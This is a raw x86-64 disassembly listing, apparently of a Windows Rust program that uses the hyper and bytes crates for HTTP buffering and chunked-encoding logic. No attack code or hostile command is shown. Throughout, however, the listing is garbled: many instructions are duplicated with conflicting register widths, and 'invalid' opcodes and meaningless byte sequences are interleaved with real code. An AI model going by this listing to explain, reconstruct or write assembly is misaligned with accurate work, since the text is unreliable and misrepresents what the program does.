mov rax, qword [r14 + 0x28]
cmp rcx, rax
cmovb rax, rcx
test rax, rax
je case.0x1400dc119.215
mov rcx, rax
shr rcx, 0x20
jne case.0x1400dc119.218
mov rcx, qword [r14 + 0x10]
mov dword [r8], eax
mov qword [r8 + 8], rcx
mov eax, 1
jmp 0x140092202
movzx ecx, byte [r14 + 0x3a]
movzx ecx, byte [rsi + 0x3a]
movzx ebx, byte [r14 + 0x3b]
cmp bl, cl
jne 0x140092340
xor r10d, r10d
mov rbx, qword [rsp + 0x38]
cmp r10, rax
je 0x1400923bc
jmp 0x140092377
movzx ecx, cl
movzx r10d, bl
movzx edx, bl
movzx edx, bl
jb 0x1400928b5
cmp bl, 0x12
ja 0x1400928a1
lea rbx, [r14 + 0x28]
sub r10d, ecx
add rbx, rcx
mov dword [r8], r10d
mov qword [r8 + 8], rbx
mov r10d, 1
mov rbx, qword [rsp + 0x38]
cmp r10, rax
cmp edx, eax
cmp edx, eax
ret 0x4574
je 0x1400923bc
mov rcx, qword [r14 + 0x18]
test rcx, rcx
je 0x1400923bc
mov rbx, rcx
shr rbx, 0x20
jne case.0x1400dc119.218
test ecx, ecx
add al, 0
add byte [rcx + rcx*4 - 0x2d], al
mov ebx, r10d
shl ebx, 4
add rbx, r8
add ebx, eax
mov rsi, qword [r14 + 0x10]
mov dword [rbx], ecx
mov qword [rbx + 8], rsi
mov ecx, 1
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
add rcx, r10
cmp rcx, rax
jbe 0x1400923ca
jmp 0x14009286e
mov dl, 4
add byte [rax], al
xor ecx, ecx
add rcx, r10
cmp rcx, rax
ja 0x14009286e
je 0x140092401
mov r10, qword [r14 + 0x48]
mov eax, 0
test r10, r10
je 0x140092403
mov rax, r10
shr rax, 0x20
jne case.0x1400dc119.218
mov eax, ecx
shl eax, 4
add r8, rax
mov rax, qword [r14 + 0x40]
mov dword [r8], r10d
mov qword [r8 + 8], rax
mov eax, 1
jmp 0x140092403
xor eax, eax
add rax, rcx
lea r10, [0x140177c78]
jmp 0x140092202
mov r9, rdx
add r9, qword [rsp + 0x58]
cmp r9, 0x41
jae 0x1400928c4
mov rcx, qword [rsi + 0x140]
mov rax, qword [rsi + 0x148]
mov rdx, qword [rsp + 0x30]
lea r8, [rsp + 0x60]
call qword [rax + 0x38]
mov r12, rdx
test rax, rax
jne 0x1400927c2
xor eax, eax
mov rdx, qword [rsp + 0x50]
cmp rdx, r12
setne al
mov ecx, 0xff
cmovb eax, ecx
test al, al
je 0x140092490
movzx eax, al
cmp eax, 1
jne 0x1400924a0
mov rax, qword [rsp + 0x40]
movups xmmword [rax], xmm6
xor cl, ch
invalid
add dword [rax], eax
invalid
xor cl, ch
movabs dword [0x894d001f0f000001], eax
out 0x48, eax
mov eax, dword [rsp + 0x40]
movups xmmword [rax], xmm6
sub r15, rdx
sub edi, edx
sub edi, edx
je 0x140092640
mov r13, qword [rsi + 0x108]
jmp 0x1400924c9
test r15, r15
je 0x140092640
sub rbp, 1
jb 0x14009287d
mov rdx, r15
mov r14, r13
cmp r13, rbx
mov eax, 0
cmovae rax, rbx
mov rcx, r13
sub rcx, rax
lea rax, [rcx + rcx*4]
shl rax, 4
lea rcx, [rdi + rax]
mov rax, qword [rdi + rax]
lea r8, [0x140177c88]
lea eax, [0x140177c88]
lea eax, [0x140177c88]
invalid
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov rax, qword [rcx + 0x18]
mov r15, rdx
sub r15, rax
jae 0x14009258b
jmp 0x140092634
movzx eax, byte [rcx + 0x3b]
sub al, byte [rcx + 0x3a]
movzx eax, al
add rax, qword [rcx + 0x18]
jb 0x140092895
invalid
add eax, dword [rax]
invalid
invalid
add rax, qword [rcx + 0x48]
jb 0x140092895
mov r15, rdx
sub r15, rax
jae 0x14009258b
jmp 0x140092634
mov rax, qword [rcx + 0x10]
mov r15, rdx
sub r15, rax
jae 0x14009258b
jmp 0x140092634
mov r8, qword [rcx + 0x18]
mov rax, qword [rcx + 0x28]
cmp r8, rax
cmovb rax, r8
mov r15, rdx
sub r15, rax
jb 0x140092634
mov rdx, rax
call fcn.140095010
lea rax, [r14 + 1]
cmp rax, rbx
mov eax, 0
cmovae rax, rbx
neg rax
lea r13, [r14 + rax]
inc r13
mov qword [rsi + 0x108], r13
mov qword [rsi + 0x110], rbp
lea rax, [r14 + r14*4]
shl rax, 4
movups xmm0, xmmword [rdi + rax]
movups xmm1, xmmword [rdi + rax + 0x10]
movups xmm2, xmmword [rdi + rax + 0x20]
movups xmm3, xmmword [rdi + rax + 0x30]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rdi + rax + 0x40]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm3
movaps xmmword [rsp + 0x80], xmm2
movaps xmmword [rsp + 0x70], xmm1
mov rax, qword [rsp + 0x60]
cmp rax, 4
je 0x1400924c0
cmp eax, 3
je 0x1400924c0
mov rax, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
lea rcx, [rsp + 0x80]
call qword [rax + 0x10]
jmp 0x1400924c0
call fcn.140095010
mov rbp, qword [rsi + 0x110]
mov r13, qword [rsi + 0xe8]
mov r8, qword [rsi + 0xf0]
mov rbx, qword [rsi + 0xf8]
test rbp, rbp
je 0x140092690
mov rax, qword [rsi + 0x108]
cmp rax, rbx
mov ecx, 0
cmovae rcx, rbx
sub rax, rcx
mov rdx, rbx
sub rdx, rax
mov rcx, rbp
sub rcx, rdx
jbe 0x1400926a0
mov rdx, rbx
jmp 0x1400926a6
xor eax, eax
xor edx, edx
jmp 0x1400926a4
lea rdx, [rax + rbp]
xor ecx, ecx
mov rsi, r13
mov r14, r8
sub rsi, r8
mov r8, qword [rsp + 0x28]
mov rdi, qword [r8 + 0x100]
lea rax, [rax + rax*4]
shl rax, 4
add rax, rdi
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, rdi
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, rdi
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x60]
call fcn.140091dc0
add rax, rsi
je 0x1400927ed
test r12, r12
mov rsi, qword [rsp + 0x28]
lea r10, [0x140177c78]
mov rcx, r14
jne 0x1400920b0
movabs r12, 0x1700000003
xor ebx, ebx
jmp 0x140092058
mov rax, r15
cmp r13, r15
jb 0x1400927b0
mov rdi, qword [rsi + 0xe0]
mov r14, qword [rsi + 0x140]
mov rcx, qword [rsi + 0x148]
mov qword [rsp + 0x38], rcx
mov r15, qword [rcx + 0x20]
movabs r12, 0x1700000003
xor ebx, ebx
mov rbp, qword [rsp + 0x30]
nop word cs:[rax + rax]
mov r9, r13
sub r9, rax
lea r8, [rdi + rax]
mov rcx, r14
mov rdx, rbp
mov rsi, rax
call r15
test rax, rax
jne 0x1400927d4
add rsi, rdx
mov rax, qword [rsp + 0x28]
mov qword [rax + 0xf0], rsi
cmp r13, rsi
je 0x14009281e
test rdx, rdx
je 0x140092058
mov rax, rsi
cmp rsi, r13
jbe 0x140092770
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
mov rcx, rax
mov rdx, r13
call fcn.1401082c0
cmp rax, 1
jne 0x1400927e3
xor ebx, ebx
mov rbp, qword [rsp + 0x30]
jmp 0x140092038
mov ebx, 1
cmp rax, 1
jne 0x140092816
xor ebx, ebx
jmp 0x14009283a
mov ebx, 1
jmp 0x140092058
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsi + 0x140]
mov rax, qword [rsi + 0x148]
mov rbp, qword [rsp + 0x30]
mov rdx, rbp
call qword [rax + 0x28]
mov rbx, rax
mov r12, rdx
jmp 0x140092038
mov r12, rdx
jmp 0x140092058
xorps xmm0, xmm0
mov rax, qword [rsp + 0x40]
movups xmmword [rax], xmm0
mov rcx, r14
mov rdx, rbp
mov rax, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
call qword [rax + 0x28]
mov rbx, rax
mov r12, rdx
mov rsi, qword [rsp + 0x28]
jmp 0x140092038
idiv edi
dec dword [rbp + rcx*4 + 5]
xor dh, dl
or al, byte [rax]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommon_buf.rs
mov rcx, r9
call fcn.1401082c0
lea rcx, str.assertion_failed:_buf.len_____c::ULONG::MAX_as_usize_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_syspalwindowsio.rs
or eax, 0xaced3
lea r8, [0x14013f7c0]
mov edx, 0x35
call fcn.140108350
loop 0x1400928c6
invalid
invalid
iretd
loop 0x1400928c6
invalid
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
add eax, 0xaf2a3
mov rdx, rax
call fcn.1401082c0
lea rcx, str.Out_of_bounds_access_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommon_buf.rs
or al, byte [rax]
mov edx, 0x14
call fcn.1401086b0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
xchg esp, eax
or al, byte [rax]
call fcn.140108690
lea r8, [0x1401419d0]
mov edx, 0x12
mov rcx, r10
call fcn.140108340
lea r8, [0x1401419d0]
adc al, 0xf1
or al, byte [rax]
mov rdx, r10
call fcn.140108530
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
add eax, 0xad07d
add byte [rdx + 0x40], bh
mov edx, 0x40
mov rcx, r9
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
mov rdx, r13
call fcn.1401082c0
int3
add ah, cl
int3
int3
test ecx, ecx
jne 0x140092961
test rdx, rdx
je 0x14009295f
mov rbx, rdx
mov rdi, rcx
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400dfbe0
add al, 0
test rax, rax
je 0x14009296f
mov rsi, rax
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
add dh, al
sub dword [rdx], eax
add byte [rax], al
add byte [rax], al
add dh, al
sub dword [rdx], eax
mov byte [rax + 0x30], 9
xor byte [rcx], cl
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
add al, 0
add al, 0
test rax, rax
je 0x14009297e
mov qword [rax], rbx
mov qword [rsi], rax
lea rax, [0x14013cdd0]
mov qword [rsi + 8], rax
or byte [rax - 0x77], r9b
stc
or byte [rax - 0x77], r9b
stc
jmp 0x140092961
mov rax, rcx
mov rdx, rsi
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x38
call fcn.140107fe0
invalid
push rsi
invalid
invalid
invalid
mov ecx, 8
mov edx, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
call fcn.140107fe0
int3
nop
add byte [rax], al
add byte [rax - 0x73], cl
push rax
dec byte [rax - 0x7d]
cmp edx, 3
ja 0x1400929b1
cmp edx, 3
ja 0x1400929b1
cmp rdx, 1
cmp edx, 1
jne 0x140092a89
test rax, rax
je 0x140092a3a
add byte [rax], al
mov rsi, qword [rcx + 0x98]
mov esi, dword [rcx + 0x98]
test rsi, rsi
je 0x140092a72
mov qword [rcx + 0x90], 5
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
add byte [rax], al
add byte [0x14f0929d6], al
add byte [rax], al
add eax, 0xf000000
mov dh, 5
xor al, 0xf9
invalid
call fcn.1400dfbe0
clc
rol dword [rax + rax], 1
test rax, rax
test eax, eax
je 0x140092a92
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov rdi, rax
mov word [rax + 0x30], 0x101
xor byte [rcx], al
add dword [rdi], ecx
mov dh, 5
add al, 0xf9
invalid
add byte [rdx + 8], bh
add byte [rax], al
add byte [rcx], dh
leave
xor byte [rcx], al
add dword [rdi], ecx
mov dh, 5
add al, 0xf9
invalid
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400dfbe0
test rax, rax
je 0x140092aa1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, eax
mov qword [rax], rsi
mov rcx, rax
mov ecx, eax
mov qword [rax], rsi
mov rax, rdi
mov qword [rdi], rcx
lea rcx, [0x14013d190]
mov qword [rdi + 8], rcx
jmp 0x140092a8b
mov qword [rsp + 0x28], 3
and al, 0x28
add eax, dword [rax]
add byte [rax], al
lea rax, str.0_r_n_r_nunexpected_EOF_during_chunk_size_lineInvalid_chunk_size_line:_missing_size_digitinvalid_chunk_size:_overflowInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlinechunk_extensions_over_limitInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_SizeC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_n_r_nconnection_errorC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2client.rs
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 5
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x38], 5
and al, 0x38
add eax, 0x48000000
lea eax, [rcx + 0xd8]
fadd dword [rax]
add byte [rax], al
lea rax, [rcx + 0xd8]
fadd dword [rax]
add byte [rax], al
lea rdx, [rsp + 0x28]
mov rsi, rcx
mov rcx, rax
call fcn.140092ac0
mov rcx, rsi
add byte [rax - 0x77], cl
int1
cmp byte [rcx + 0xa0], 1
mov eax, 5
sbb rax, 0
mov qword [rcx + 0x90], rax
adc dword [rax + 0x31000000], 0xc48348c0
js 0x140092aef
xor eax, eax
add rsp, 0x78
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x38
call fcn.140107fe0
mov ecx, 8
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 8], bh
mov edx, 8
call fcn.140107fe0
int3
int3
push r12
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rdx
mov rsi, rcx
cmp byte [rcx + 0x48], 0
je 0x140092b91
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rdi + 0x40]
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0x60], xmm0
and al, 0x60
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0x50], xmm3
and al, 0x50
and al, 0x50
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x38]
cmp rax, rcx
jne 0x140092b29
lea rcx, [rsi + 0x20]
call fcn.140092f50
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
invalid
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
cmp byte [rax - 0x75], r9b
push rsi
xor byte [rax + 1], cl
ret 0x3145
mov rdx, qword [rsi + 0x30]
add rdx, rax
xor r8d, r8d
ror byte [rax + 0x39], 0xca
ror byte [rax + 0x39], 0xca
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rsi + 0x28]
lea rdx, [rdx + rdx*4]
adc al, 0x92
shl rdx, 4
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rcx + rdx + 0x40], xmm0
adc dword [rax + 0xf], eax
sub byte [rsp + 0x20], al
adc dword [rax + 0xf], eax
sub byte [rsp + 0x20], al
movaps xmm1, xmmword [rsp + 0x30]
movaps xmm2, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
movaps xmm3, xmmword [rsp + 0x50]
movups xmmword [rcx + rdx + 0x30], xmm3
movups xmmword [rcx + rdx + 0x20], xmm2
movups xmmword [rcx + rdx + 0x10], xmm1
adc dword [rax], edx
adc dword [rax], edx
movups xmmword [rcx + rdx], xmm0
inc rax
mov qword [rsi + 0x38], rax
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14, qword [rdi]
lea rax, [0x140177c98]
movsxd rcx, dword [rax + r14*4]
add rcx, rax
mov al, 0x48
add ecx, eax
jmp rcx
mov rcx, qword [rdi + 0x18]
mov ecx, dword [rdi + 0x18]
sbb byte [r8 - 0x75], r9b
push rsi
sbb byte [rax - 0x7b], cl
sal byte [rbp + 0x4b], cl
mov rdx, qword [rsi + 0x18]
test rdx, rdx
jne 0x140092bfc
jmp 0x140092c38
add byte [rax], al
movzx eax, byte [rdi + 0x3b]
sub al, byte [rdi + 0x3a]
movzx ecx, al
enter 0x348, 0x4f
sbb byte [rdi], cl
invalid
xchg esp, eax
add byte [rax], al
invalid
enter 0x348, 0x4f
sbb byte [rdi], cl
invalid
add rcx, qword [rdi + 0x48]
jae 0x140092bd9
invalid
or ecx, ebp
mov dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
jmp case.0x140091ebb.18
add byte [rax - 0x75], cl
adc byte [r8 - 0x75], r9b
push rsi
sbb byte [rax - 0x7b], cl
sal byte [rbp + 0x1a], cl
mov ecx, dword [rdi + 0x10]
mov rdx, qword [rsi + 0x18]
test rdx, rdx
jne 0x140092bfc
jmp 0x140092c38
sub byte [rax + 0x39], cl
enter 0xf48, 0x42
enter 0xffffffffffff8b48, 0x56
sbb byte [rax - 0x7b], cl
sal byte [rsp + rdi + 0x4c], cl
mov eax, dword [rsi]
cmp rax, rcx
cmovb rcx, rax
mov rdx, qword [rsi + 0x18]
test rdx, rdx
je 0x140092c38
mov r8, qword [rsi]
mov rax, qword [rsi + 0x10]
sub r8, rax
cmp r8, rcx
jae 0x140092c38
invalid
sub eax, 0x48c38948
sub ebx, edx
mov rbx, rax
sub rbx, rdx
jb 0x140092c4c
mov qword [rsi + 0x10], 0
je 0x140092c30
mov rcx, qword [rsi + 8]
add rdx, rcx
mov r8, rbx
call fcn.140106250
invalid
add byte [rax - 0x77], cl
pop rsi
invalid
invalid
mov qword [rsi + 0x18], 0
lea r15, [rdi + 0x28]
lea r12, [0x140177ca8]
push rax
invalid
add byte [rbx + 0x63], cl
add al, 0xb4
add rax, r12
push rax
invalid
jmp rax
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140108340
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
or eax, 0xaeecb
call fcn.140108690
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
mov rbx, r8
test rbx, rbx
jne 0x140092d50
jmp 0x140092cf4
mov dh, 0xd2
mov r8, qword [rdi + 0x18]
add rdx, r8
jb case.0x140091ebb.18
je 0x140092cce
cmp al, cl
jne 0x140092cdd
mov rdx, qword [rdi + 0x10]
mov rbx, r8
test rbx, rbx
jne 0x140092d50
jmp 0x140092cf4
mov rdx, qword [rdi + 0x40]
mov rbx, qword [rdi + 0x48]
test rbx, rbx
jne 0x140092d50
jmp 0x140092cf4
movzx edx, cl
movzx ebx, al
jb 0x140092d2d
cmp al, 0x12
ja 0x140092d19
sub rbx, rdx
add rdx, r15
test rbx, rbx
jne 0x140092d50
mov rax, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov rax, qword [rax + 0x10]
adc byte [rax - 0x7d], cl
invalid
and byte [rax - 0x77], cl
stc
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
adc byte [rax - 0x7d], cl
invalid
lea r8, [0x1401419d0]
mov edx, 0x12
add byte [rdx + 0x12], bh
mov rcx, rbx
call fcn.140108340
lea r8, [0x1401419d0]
mov rcx, rdx
mov rdx, rbx
call fcn.140108530
mov rbx, qword [rdi + 0x10]
test rbx, rbx
je 0x140092b81
mov rdx, qword [rdi + 8]
mov rax, qword [rsi]
mov r14, qword [rsi + 0x10]
sub rax, r14
cmp rax, rbx
jb 0x140092d8c
mov rcx, qword [rsi + 8]
add rcx, r14
mov r8, rbx
call fcn.140106250
add r14, rbx
mov qword [rsi + 0x10], r14
mov rcx, rdi
mov rdx, rbx
call fcn.140095010
mov rax, qword [rdi]
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
mov rcx, rsi
mov r13, rdx
mov rdx, r14
mov r8, rbx
call fcn.140109710
mov rdx, r13
mov r14, qword [rsi + 0x10]
jmp 0x140092d5f
push rsi
sub rsp, 0x80
movzx r9d, byte [rcx + 0x32]
movzx r10d, byte [rcx + 0x33]
mov eax, r10d
sub al, r9b
movzx r11d, al
mov r8, qword [rcx + 0x10]
mov rsi, r11
add rsi, r8
jb 0x140092ecc
je 0x140092e00
mov rax, rdx
sub rax, rsi
jbe 0x140092e14
cmp r10b, r9b
jne 0x140092e2e
mov rax, rdx
mov rdx, qword [rcx + 0x40]
mov r8, rdx
sub r8, rax
jae 0x140092e5f
jmp 0x140092ead
cmp r10b, r9b
jne 0x140092e70
add qword [rcx + 0x38], rax
mov qword [rcx + 0x40], r8
add rsp, 0x80
pop rsi
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140108690
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x20]
mov qword [rsp + 0x30], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x50]
call fcn.140108280
int3
pop rbx
pop rdi
pop rsi
ret
int3
add byte [rax], al
add byte [rdi], cl
adc byte [rdx], al
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x38]
cmp rax, rcx
jne 0x140093039
lea rcx, [rsi + 0x20]
call fcn.140092f50
invalid
invalid
dec dword [rax - 0x75]
and byte [rax - 0x75], r9b
invalid
invalid
invalid
and byte [rax - 0x75], r9b
cmp byte [rax - 0x75], r9b
push rsi
xor byte [rax + 1], cl
ret 0x3145
mov rdx, qword [rsi + 0x30]
add rdx, rax
xor r8d, r8d
cmp rdx, rcx
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rsi + 0x28]
mov ecx, dword [rsi + 0x28]
mov ecx, dword [rsi + 0x28]
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov qword [rcx + rdx], 0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rcx + rdx + 8], xmm0
or byte [rdi], cl
adc dword [rcx + rdx + 0x18], ecx
or byte [rdi], cl
adc dword [rcx + rdx + 0x18], ecx
inc rax
mov qword [rsi + 0x38], rax
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
or dword [rcx], 0
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x40]
mov rdx, r14
call fcn.14003a170
cmp byte [rsp + 0xd0], 2
and al, 0xd0
add byte [rax], al
add byte [rdx], al
and al, 0xd0
add byte [rax], al
add byte [rdx], al
je 0x140093480
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
mov eax, dword [rsp + 0xc0]
mov eax, dword [rsp + 0xc0]
call qword [rax + 0x10]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov byte [rsp + 0x50], 0
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x28
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x28
jmp 0x140093e0b
cli
dec dword [rbp - 0x77]
int1
mov r14, rax
mov rdi, rdx
movups xmm0, xmmword [0x14012b788]
cmp bl, 2
jne 0x140093621
movaps xmmword [rsp + 0x50], xmm0
movdqu xmm0, xmmword [0x14012b778]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
lea rbx, [rsp + 0x40]
mov rdx, r9
mov r8, rbx
call fcn.1400389a0
movzx ecx, byte [rsp + 0xe2]
cmp cl, 3
je 0x140094db3
mov rsi, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xb8]
mov r13, qword [rsp + 0xc0]
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x1a0], xmm0
movdqu xmm0, xmmword [rsp + 0xd2]
movdqu xmmword [rsp + 0x1aa], xmm0
mov edx, dword [rsp + 0xe3]
mov dword [rsp + 0x120], edx
movzx edx, byte [rsp + 0xe7]
mov byte [rsp + 0x124], dl
cmp cl, 2
mov r9, qword [rsp + 0x28]
jne 0x1400936ec
mov rdx, qword [rsi + 0x28]
cmp rdx, r13
jbe 0x140094d0d
mov rax, qword [rsi + 0x20]
imul rdi, r13, 0x68
mov rcx, qword [rax + rdi]
mov rax, qword [rax + rdi + 0x10]
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0xb0]
call fcn.14003b230
test al, al
jne 0x140093d5f
mov rdx, qword [rsi + 0x28]
cmp rdx, r13
jbe 0x140094d1c
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + rdi]
test rcx, rcx
je 0x140093847
cmp rcx, 1
jne 0x14009388b
mov rcx, qword [rax + rdi + 0x10]
mov rdx, qword [rsi + 0x40]
cmp rcx, rdx
jae case.0x1400656b8.202
mov rax, qword [rsi + 0x38]
lea rcx, [rcx + rcx*8]
lea r12, [rax + rcx*8]
add r12, 0x20
jmp 0x14009384f
movaps xmmword [rsp + 0x50], xmm0
movdqu xmm0, xmmword [0x14012b778]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x40]
mov rdx, r9
call fcn.14003a170
cmp byte [rsp + 0xd0], 2
je 0x140093676
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
mov r9, qword [rsp + 0x28]
cmp r14, 1
jne 0x1400936c7
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], rdi
jmp 0x1400936e2
test r12, r12
je 0x1400937ea
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov byte [rsp + 0x50], 0
jmp 0x140093e0b
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r13
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0x58], xmm0
movdqu xmm0, xmmword [rsp + 0x1aa]
movdqu xmmword [rsp + 0x62], xmm0
mov byte [rsp + 0x72], cl
mov ecx, dword [rsp + 0x120]
mov dword [rsp + 0x73], ecx
movzx ecx, byte [rsp + 0x124]
mov byte [rsp + 0x77], cl
cmp r14, 1
jne 0x14009379b
test rax, rax
je 0x140093752
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov rdx, r13
call qword [rax + 0x10]
mov r9, qword [rsp + 0x28]
mov eax, 1
jmp case.0x1400656b8.195
cmp r12, 1
mov rsi, qword [rsp + 0x38]
jne 0x140093818
movzx ecx, byte [rsi + 0xb8]
cmp ecx, 7
ja case.0x14007337a.226
invalid
mov edx, 0xa2
bt edx, ecx
jae case.0x14007337a.226
test rax, rax
je 0x1400937de
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov rdx, r13
call qword [rax + 0x10]
mov r9, qword [rsp + 0x28]
mov eax, 1
xor edi, edi
jmp case.0x1400656b8.195
lea rcx, [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
jmp 0x140093835
test rax, rax
je 0x14009382d
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov rdx, r13
call qword [rax + 0x10]
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, r15
call fcn.14003b660
mov r9, qword [rsp + 0x28]
jmp 0x140093e0b
lea r12, [rax + rdi]
add r12, 0x18
mov rsi, qword [r12 + 0x10]
add rsi, 9
je 0x14009392d
js 0x140094e62
